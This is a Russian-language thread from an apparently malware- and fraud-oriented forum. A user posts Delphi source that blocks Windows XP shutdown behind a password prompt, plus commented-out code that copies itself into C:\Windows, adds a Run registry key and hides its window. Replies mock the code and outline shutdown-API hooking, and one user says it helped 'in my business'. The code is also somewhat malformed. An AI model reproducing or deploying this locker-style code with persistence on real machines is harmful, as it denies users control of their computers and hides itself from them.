1
  1. Этот сайт использует файлы cookie. Продолжая пользоваться данным сайтом, Вы соглашаетесь на использование нами Ваших файлов cookie. Узнать больше.
Приветствуем вас,Гость, на форуме IFUD.WS. Обязательно рекомендуется к прочтению правила форума http://ifud.ws/threads/obnovleno-pravila-foruma.7759

код:не дающая завершить работу Windows XP

Тема в разделе "Программирование", создана пользователем Born, 29 янв 2013.

  1. TopicStarter Overlay
    Born

    Born

    Регистрация:
    19 янв 2013
    Сообщения:
    257
    Симпатии:
    147
    Код:
    unit Unit1;
     
    interface
     
    uses
      Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
      Dialogs,StdCtrls,registry;
     
     
     
    type
      TForm1 = class(TForm)
        Edit1: TEdit;
        Button1: TButton;
     
        //procedure FormActivate(Sender: TObject);
     
     
      private
        { Private declarations }
    procedure WMQUERYENDSESSION(var Msg: TMessage);message WM_QUERYENDSESSION;
     
      public
        { Public declarations }
      end;
     
    var
      Form1: TForm1;
     
     
    implementation
    procedure TForm1.WMQUERYENDSESSION(var Msg: TMessage);
    {$R *.dfm}
     
    begin
    //msg.result:=0;
    if msg.Result=1 then
    begin
    msg.Result:=0;
    Showmessage('Введите Пароль');
    end;
    end;
    //procedure TForm1.FormActivate(Sender: TObject);
    //var r:Tregistry;
    //begin
    //if directoryexists('C:\Program Files\')then
    //CopyFile(PChar(ParamStr(0)), PChar('C:\Windows\Project1.exe'),  True);
    //r:=TRegistry.Create;
    //r.RootKey:=HKEY_CURRENT_USER;
    //r.OpenKey('Software\Microsoft\Windows\CurrentVersion\run',true);
    //r.Writestring('C:\Windows\Project1.exe',Application.exename);
    //CopyFile(PChar(ParamStr(0)), PChar('C:\Windows\Project1.exe'),  True);
    //showwindow(handle,sw_hide);
    //showwindow(application.Handle,sw_hide)
     
     
     
    end.
    end.
     
    • Like Like x 1
    Метки:
  2. ResH

    ResH Команда форума

    Регистрация:
    26 июл 2012
    Сообщения:
    1.676
    Симпатии:
    2.268
    добро пожаловать на наш форум
    открой новую тему в разделе Продажи и для проверки напиши какой нибудь фейк и ты получишь группу программистов и розовый ник ))
     
  3. @nger

    @nger Гость

    Что это за кал ?)))
    Мда если тут статус "прогромизд" означает напсателей подобного кала то мне ее точно не надо )))
     
  4. TopicStarter Overlay
    Born

    Born

    Регистрация:
    19 янв 2013
    Сообщения:
    257
    Симпатии:
    147
    Не спорю! не сказать что мега какой код но, Тебе не надо!другие под себя доделают)))
     
  5. Molodoy

    Molodoy Гость

    Что этЪ за хуита? Чтобы не дать завершиться винде любых версий, можно пойти такими шагами:
    1. Хук на API шатдауна
    2. Поменять веточку в реестре:

    **Скрытый текст: Для просмотра скрытого текста Вы должны авторизоваться.**

    Пожалуйста Зарегистрируйтесь или Войдите для того чтоб увидеть текст сообщения!

    **Скрытый текст: Для просмотра скрытого текста Вы должны авторизоваться.**

    Пожалуйста Зарегистрируйтесь или Войдите для того чтоб увидеть текст сообщения!

    Вот и всё! Что это за ненужный быдлокод? :eek:
     
    • Like Like x 1
  6. Denil

    Denil Гость

    Спасибо , за код , помогло в моем деле .
     

Поделиться этой страницей

Загрузка...